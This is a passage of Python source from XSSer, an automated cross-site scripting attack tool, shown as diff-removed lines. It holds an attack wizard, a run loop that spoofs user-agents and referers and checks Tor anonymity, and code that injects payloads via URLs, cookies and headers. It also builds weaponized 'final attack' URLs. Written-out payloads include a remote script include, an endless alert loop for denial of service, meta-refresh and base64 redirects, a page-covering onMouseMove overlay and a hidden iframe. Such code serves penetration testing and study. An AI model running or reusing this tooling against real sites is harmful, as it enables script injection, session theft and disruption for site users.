- elif ans4 == "3": # enc: Str+Une
- enc = 'Str+Une'
- ans4 = None
- elif ans4 == "4": # enc: Mix: Une+Str+Hex
- enc = "Une,Str,Hex"
- ans4 = None
- elif ans4 == "5": # enc: no encode
- enc = 'Not using encoders'
- ans4 = None
- elif (ans4 == "e" or ans4 == "E"):
- print("Closing wizard...")
- ans4=None
- ans5=None
- ans6=None
- else:
- print("\nNot valid choice. Try again!")
- #step 5: Exploiting
- while ans5:
- print(22*"-")
- print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
- [1]- I want to inject a classic "Alert" message box.
- [2]- I want to inject my own scripts.
- *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
- [e]- Exit/Quit.
- """)
- ans5 = input("Your choice: [1], [2], [3] or [e]xit\n")
- if ans5 == "1": # alertbox
- script = 'Alertbox'
- ans5 = None
- elif ans5 == "2": # manual
- script = input("Enter code (ex: '><script>alert('XSS');</script>): ")
- if script == None:
- print("\n[Error] Your are providing an empty script to inject. Try again!")
- pass
- else:
- ans5 = None
- elif ans5 == "3": # no exploit
- script = 'Not exploiting code'
- ans5 = None
- elif (ans5 == "e" or ans5 == "E"):
- print("Closing wizard...")
- ans5=None
- ans6=None
- else:
- print("\nNot valid choice. Try again!")
- #step 6: Final
- while ans6:
- print(22*"-")
- print("\nVery nice!. That's all. Your last step is to -accept or not- this template.\n")
- print("A)- Target:", url)
- print("B)- Payload:", payload)
- print("C)- Privacy:", proxy)
- print("D)- Bypasser(s):", enc)
- print("E)- Final:", script)
- print("""
- [Y]- Yes. Accept it and start testing!.
- [N]- No. Abort it?.
- """)
- ans6 = input("Your choice: [Y] or [N]\n")
- if (ans6 == "y" or ans6 == "Y"): # YES
- start = 'YES'
- print('Good fly... and happy "Cross" hacking !!! :-)\n')
- ans6 = None
- elif (ans6 == "n" or ans6 == "N"): # NO
- start = 'NO'
- print("Aborted!. Closing wizard...")
- ans6 = None
- else:
- print("\nNot valid choice. Try again!")
- if url and payload and proxy and enc and script:
- return url, payload, proxy, enc, script
- else:
- return
- def create_fake_image(self, filename, payload):
- """
- Create -fake- image with code injected
- """
- options = self.options
- filename = options.imx
- payload = options.script
- image_xss_injections = ImageInjections()
- image_injections = image_xss_injections.image_xss(options.imx , options.script)
- return image_injections
- def create_fake_flash(self, filename, payload):
- """
- Create -fake- flash movie (.swf) with code injected
- """
- options = self.options
- filename = options.flash
- payload = options.script
- flash_xss_injections = FlashInjections()
- flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
- return flash_injections
- def create_gtk_interface(self):
- """
- Create GTK Interface
- """
- options = self.options
- from core.gtkcontroller import Controller, reactor
- uifile = "xsser.ui"
- controller = Controller(uifile, self)
- self._reporters.append(controller)
- if reactor:
- reactor.run()
- else:
- from gi.repository import Gtk
- Gtk.main()
- return controller
- def run(self, opts=None):
- """
- Run xsser.
- """
- #self._landing = False
- for reporter in self._reporters:
- reporter.start_attack()
- if opts:
- options = self.create_options(opts)
- self.set_options(options)
- if not self.mothership and not self.hub:
- self.hub = HubThread(self)
- self.hub.start()
- options = self.options
- if options:
- # step -1; order attacks
- if self.options.hash is True: # not fuzzing/heuristic when hash precheck
- self.options.fuzz = False
- self.options.script = False
- self.options.coo = False
- self.options.xsa = False
- self.options.xsr = False
- self.options.dcp = False
- self.options.dom = False
- self.options.inducedcode = False
- self.options.heuristic = False
- if self.options.heuristic: # not fuzzing/hash when heuristic precheck
- self.options.fuzz = False
- self.options.script = False
- self.options.coo = False
- self.options.xsa = False
- self.options.xsr = False
- self.options.dcp = False
- self.options.dom = False
- self.options.inducedcode = False
- self.options.hash = False
- if self.options.Cem: # parse input at CEM for blank spaces
- self.options.Cem = self.options.Cem.replace(" ","")
- else:
- pass
- # step 0: third party tricks
- try:
- if self.options.imx: # create -fake- image with code injected
- p = self.optionParser
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[Image XSS Builder]...")
- self.report('='*75)
- self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
- self.report('='*75 + "\n")
- except:
- return
- if options.flash: # create -fake- flash movie (.swf) with code injected
- p = self.optionParser
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[Flash Attack! XSS Builder]...")
- self.report('='*75)
- self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
- self.report('='*75 + "\n")
- if options.xsser_gtk:
- self.create_gtk_interface()
- return
- if self.options.wizard: # start a wizard helper
- p = self.optionParser
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[Wizard] Generating XSS attack...")
- self.report('='*75)
- self.user_template = self.start_wizard()
- if self.options.xst: # check for cross site tracing
- p = self.optionParser
- if not self.options.target:
- self.report('='*75)
- self.report(str(p.version))
- self.report('='*75)
- self.report("[XST Attack!] checking for HTTP TRACE method ...")
- self.report('='*75)
- self.check_trace()
- if options.checktor:
- url = self.check_tor_url # TOR status checking site
- print('='*75)
- print("")
- print(" _ ")
- print(" /_/_ .'''. ")
- print(" =O(_)))) ...' `. ")
- print(" \_\ `. .'''")
- print(" `..' ")
- print("")
- print('='*75)
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- agent = random.choice(agents).strip() # set random user-agent
- referer = "127.0.0.1"
- print("\nSending request to: " + url + "\n")
- print("-"*25+"\n")
- headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
- try:
- import urllib.request, urllib.error, urllib.parse
- req = urllib.request.Request(url, None, headers)
- tor_reply = urllib.request.urlopen(req).read()
- your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
- if not tor_reply or 'Congratulations' not in tor_reply:
- print("It seems that Tor is not properly set.\n")
- print(("IP address appears to be: " + your_ip + "\n"))
- else:
- print("Congratulations!. Tor is properly being used :-)\n")
- print(("IP address appears to be: " + your_ip + "\n"))
- except:
- print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
- sys.exit(2) # return
- nthreads = max(1, abs(options.threads))
- nworkers = len(self.pool.workers)
- if nthreads != nworkers:
- if nthreads < nworkers:
- self.pool.dismissWorkers(nworkers-nthreads)
- else:
- self.pool.createWorkers(nthreads-nworkers)
- for reporter in self._reporters:
- reporter.report_state('scanning')
-
- # step 1: get urls
- urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-\n")
- for reporter in self._reporters:
- reporter.report_state('arming')
-
- # step 2: get payloads
- payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-\n")
- for reporter in self._reporters:
- reporter.report_state('cloaking')
- if options.Dwo:
- payloads = self.process_payloads_ipfuzzing(payloads)
- elif options.Doo:
- payloads = self.process_payloads_ipfuzzing_octal(payloads)
- for reporter in self._reporters:
- reporter.report_state('locking targets')
- # step 3: get query string
- query_string = self.try_running(self.get_query_string, "\n[Error] Internal problems getting query -string-\n")
- for reporter in self._reporters:
- reporter.report_state('sanitize')
- urls = self.sanitize_urls(urls)
- for reporter in self._reporters:
- reporter.report_state('attack')
- # step 4: perform attack
- self.try_running(self.attack, "\n[Error] Internal problems running attack...\n", (urls, payloads, query_string))
- for reporter in self._reporters:
- reporter.report_state('reporting')
- if len(self.final_attacks):
- self.report("[Info] Waiting for tokens to arrive...")
- while self._ongoing_requests and not self._landing:
- if not self.pool:
- self.mothership.poll_workers()
- else:
- self.poll_workers()
- time.sleep(0.2)
- for reporter in self._reporters:
- reporter.report_state('final sweep...')
- if self.pool:
- self.pool.dismissWorkers(len(self.pool.workers))
- self.pool.joinAllDismissedWorkers()
- start = time.time()
- while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
- time.sleep(0.2)
- for reporter in self._reporters:
- reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
- if self.final_attacks:
- self.report("-"*25+"\n")
- self.report("[Info] Generating 'token' url:\n")
- for final_attack in self.final_attacks.values():
- if not final_attack['url'] == None:
- self.report(final_attack['url'] , "\n")
- self.report("="*50+"\n")
- self.report("[Info] CONGRATULATIONS!!! <-> This vector is doing a remote connection... So, is: 100% VULNERABLE! ;-)\n")
- self.report(",".join(self.successful_urls), "\n")
- self.report("="*50 + "\n")
- for reporter in self._reporters:
- reporter.end_attack()
- self.report("="*50)
- if self.mothership:
- self.mothership.remove_reporter(self)
- self.report("Mosquito(es) landed!")
- else:
- self.report("Mosquito(es) landed!")
- self.report("="*50)
- self.print_results()
- def sanitize_urls(self, urls):
- all_urls = set()
- if urls is not None:
- for url in urls:
- if url.startswith("http://") or url.startswith("https://"):
- self.urlspoll.append(url)
- all_urls.add(url)
- else:
- if self.options.crawling:
- self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
- else:
- self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
- url = None
- else:
- self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
- return all_urls
- def land(self, join=False):
- self._landing = True
- if self.hub:
- self.hub.shutdown()
- if join:
- self.hub.join()
- self.hub = None
- def _prepare_extra_attacks(self, payload):
- """
- Setup extra attacks.
- """
- options = self.options
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- extra_agent = random.choice(agents).strip() # set random user-agent
- extra_referer = "127.0.0.1"
- extra_cookie = None
- if self.options.script:
- if 'XSS' in payload['payload']:
- payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
- if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
- if options.xsa:
- hashing = self.generate_hash('xsa')
- agent = payload['payload'].replace('PAYLOAD', hashing)
- self._ongoing_attacks['xsa'] = hashing
- self.xsa_injection = self.xsa_injection + 1
- self.options.agent = agent
- extra_agent = agent
- self.extra_hashed_injections[hashing] = "XSA", payload['payload']
- if options.xsr:
- hashing = self.generate_hash('xsr')
- referer = payload['payload'].replace('PAYLOAD', hashing)
- self._ongoing_attacks['xsr'] = hashing
- self.xsr_injection = self.xsr_injection + 1
- self.options.referer = referer
- extra_referer = referer
- self.extra_hashed_injections[hashing] = "XSR", payload['payload']
- if options.coo:
- hashing = self.generate_hash('cookie')
- cookie = payload['payload'].replace('PAYLOAD', hashing)
- self._ongoing_attacks['coo'] = hashing
- self.coo_injection = self.coo_injection + 1
- self.options.cookie = cookie
- extra_cookie = cookie
- self.extra_hashed_injections[hashing] = "COO", payload['payload']
- return extra_agent, extra_referer, extra_cookie
- def attack(self, urls, payloads, query_string):
- """
- Perform an attack on the given urls with the provided payloads and
- query_string.
- """
- for url in urls:
- if self.pool:
- self.poll_workers()
- else:
- self.mothership.poll_workers()
- if not self._landing:
- self.attack_url(url, payloads, query_string)
- def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
- """
- Generate a real attack url by using data from a successful test.
- This method also applies DOM stealth mechanisms.
- """
- user_attack_payload = payload['payload']
- if self.options.finalpayload:
- user_attack_payload = self.options.finalpayload
- elif self.options.finalremote:
- user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
- elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
- user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
- elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
- user_attack_payload = self.options.finalpayload
- if self.options.dos:
- user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
- if self.options.doss:
- user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
- if self.options.b64:
- user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
- if self.options.onm:
- user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
- if self.options.ifr:
- user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
- do_anchor_payload = self.options.anchor
- anchor_data = None
- attack_hash = None
- if do_anchor_payload: # DOM Shadows!
- dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
- dest_url = dest_url.replace('?', '#')
- else:
- dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
- if attack_hash:
- self.final_attacks[attack_hash] = {'url':dest_url}
- return dest_url
- def token_arrived(self, attack_hash):
- if not self.mothership:
- # only the mothership calls on token arriving.
- self.final_attack_callback(attack_hash)
- def final_attack_callback(self, attack_hash):
- if attack_hash in self.final_attacks:
- dest_url = self.final_attacks[attack_hash]['url']
- self.report('[*] Browser check:', dest_url)
- for reporter in self._reporters:
- reporter.add_checked(dest_url)
- if self._reporter:
- from twisted.internet import reactor
- reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
- self.final_attacks.pop(attack_hash)
- def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
- real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
- #generate_shorturls = self.options.shorturls
- #if generate_shorturls:
- # shortener = ShortURLReservations(self.options.shorturls)
- # if self.options.finalpayload or self.options.finalremote or self.options.b64 or self.options.dos:
- # shorturl = shortener.process_url(real_attack_url)
- # self.report("[/] Shortered URL (Final Attack):", shorturl)
- # else:
- # shorturl = shortener.process_url(dest_url)
- # self.report("[/] Shortered URL (Injection):", shorturl)
- return real_attack_url
- def report(self, *args):
- args = list([str(s) for s in args])
- formatted = " ".join(args)
- if not self.options.silent:
- print(formatted)
- for reporter in self._reporters:
- reporter.post(formatted)
- def print_results(self):
- """
- Print results from attack.
- """
- self.report('\n' + '='*75)
- total_injections = len(self.hash_found) + len(self.hash_notfound)
- if len(self.hash_found) + len(self.hash_notfound) == 0:
- pass
- elif self.options.heuristic:
- pass
- else:
- self.report("[*] Final Results:")
- self.report('='*75 + '\n')
- self.report("- Injections:", total_injections)
- self.report("- Failed:", len(self.hash_notfound))
- self.report("- Successful:", len(self.hash_found))
- try:
- _accur = len(self.hash_found) * 100 / total_injections
- except ZeroDivisionError:
- _accur = 0
- self.report("- Accur: %s %%\n" % _accur)
- if not len(self.hash_found) and self.hash_notfound:
- self.report('='*75 + '\n')
- pass
- else:
- self.report('='*75)
- self.report("[*] List of XSS injections:")
- self.report('='*75 + '\n')
- if self.options.reversecheck:
- self.report("You have found: [ " + str(len(self.hash_found)) + " ] XSS vector(s)! -> [100% VULNERABLE]\n")
- else:
- self.report("You have found: [ " + str(len(self.hash_found)) + " ] possible (without --reverse-check) XSS vector(s)!\n")
- self.report("---------------------" + "\n")
- if self.options.fileoutput:
- fout = open("XSSreport.raw", "w") # write better than append
- for line in self.hash_found:
- if self.options.heuristic or self.options.hash: # not final attack possible when checking
- pass
- else:
- attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
- if line[2] == "XSR":
- self.xsr_found = self.xsr_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: Referer Injection")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", str(Curl.referer))
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[2] == "XSR":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[2] == "XSA":
- self.xsa_found = self.xsa_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: User-Agent Injection")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", str(Curl.agent))
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[2] == "XSA":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[2] == "COO":
- self.coo_found = self.coo_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: Cookie Injection")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", str(Curl.cookie))
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[2] == "COO":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Data Control Protocol Injection]":
- self.dcp_found = self.dcp_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: DCP")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable: DCP (Data Control Protocol)")
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[4]:
- if h[1] == "[Data Control Protocol Injection]":
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Document Object Model Injection]":
- self.dom_found = self.dom_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: DOM")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable: DOM (Document Object Model)")
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[1] == "[Document Object Model Injection]":
- if h[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Induced Injection]":
- self.httpsr_found = self.httpsr_found +1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: INDUCED")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[4]:
- if h[1] == "[Induced Injection]":
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[hashing check]":
- if len(self.hash_found) < 11:
- if line[4]:
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[3]) + " ]")
- self.report("[!] Method:", line[2])
- self.report("[*] Payload:", line[5])
- self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_found:
- if h[1] == "[hashing check]":
- if h[4]:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[manual_injection]":
- self.manual_found = self.manual_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: MANUAL")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
